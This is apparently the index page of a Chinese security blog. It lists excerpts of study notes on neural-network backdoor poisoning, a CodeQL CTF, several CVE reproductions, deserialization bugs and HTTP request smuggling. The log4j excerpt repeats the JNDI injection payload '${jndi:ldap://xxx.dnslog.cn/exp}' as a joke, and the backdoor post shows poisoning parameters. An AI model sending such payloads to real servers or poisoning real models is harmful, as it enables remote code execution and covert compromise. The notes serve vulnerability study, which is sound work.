神经网络后门攻击与防御学习

本文旨在快速实现一个神经网络后门模型,并记录基本的防御思路。 攻击 前置准备 导入库并设置超参数 import torch import torch.nn as nn import torch.optim as optim from torchvision import datasets, transforms from torch.utils.data import DataLoader, Dataset import numpy as np import matplotlib.pyplot as plt EPOCHS = 5 # 训练轮数 BATCH_SIZE = 64 # 批处理大小 LEARNING_RATE = 0.001 # 学习率 TARGET_LABEL = 0 # 后门攻击的目标标签,我们希望模型将带触发器的图片识别为 "0" POISON_RATIO = 0.1 # 投毒比例,在训练集中注入10%的后门样本 TRIGGER_SIZE = 4 # 触发器(白色方块)的大小,4x4像素 接下来是数据准备,这里使用MNIST数据集作为后门植入的目标 ...

September 9, 2025 · 5652 words · ch4ser

CodeQL CTF 之 Go and don't return

Go and don’t return 这道题目从MinIO的一个已公开的未授权访问漏洞开始, 通过编写并慢慢完善CodeQL语句来检测该漏洞在代码中的位置. 随着题目的进行, 题目将目标将扩展到此类漏洞的各种变种, 难度逐渐加深, 非常适合用来入门和学习. 本文是用来记录我在阅读官方题解时的思考过程, 因为我在Part2就卡住啦hhhhhhh. ...

December 6, 2024 · 6335 words · ch4ser

CVE-2023-26484 Kubevirt 权限提升漏洞复现

该漏洞是论文工作 “Take Over the Whole Cluster: Attacking Kubernetes via Excessive Permissions of Third-party Applications” 挖掘到的, 对其进行复现可以更好地理解rbac的潜在风险. ...

April 30, 2024 · 1258 words

shiro 漏洞复现

记录shiro漏洞学习的过程, 参考https://saucer-man.com/information_security/396.html, 并在漏洞分析基础上编写检测脚本 ...

January 22, 2022 · 1869 words · ch4ser

thinkphp5漏洞学习

phpggc中关于thinkphp的攻击思路学习 ...

January 14, 2022 · 4444 words · ch4ser

log4j2 jndi 漏洞学习和调试

明天安全圈校招面试: 面试官: 请说说你会什么技能? 我: ${jndi:ldap://xxx.dnslog.cn/exp} 面试官: 请说说你最近关注过的漏洞? 我: ${jndi:ldap://xxx.dnslog.cn/exp} 面试官: 你平时有动手调试过吗? 我: ${jndi:ldap://xxx.dnslog.cn/exp} 我:这dnslog是不是卡了 这面试官怎么还没rce ...

December 11, 2021 · 700 words · ch4ser

GhostCat(CVE-2020-1938)漏洞学习

本文主要参考 https://blog.csdn.net/qq_31481187/article/details/105917392 和 https://paper.seebug.org/1142/#_6 ,并无原创内容,仅仅是个人学习笔记。 ...

November 13, 2021 · 2256 words · ch4ser

mysql jdbc反序列化的不深入研究

我终于更新博客了…… ...

October 15, 2021 · 4802 words · ch4ser

http请求走私笔记

正常的请求 ...

August 24, 2020 · 1144 words · ch4ser

php session反序列化

php中的反序列化分为两类: 一种是常规ctf题目中的直接传入并反序列化, 另一种和session有关: ...

September 2, 2019 · 2167 words · ch4ser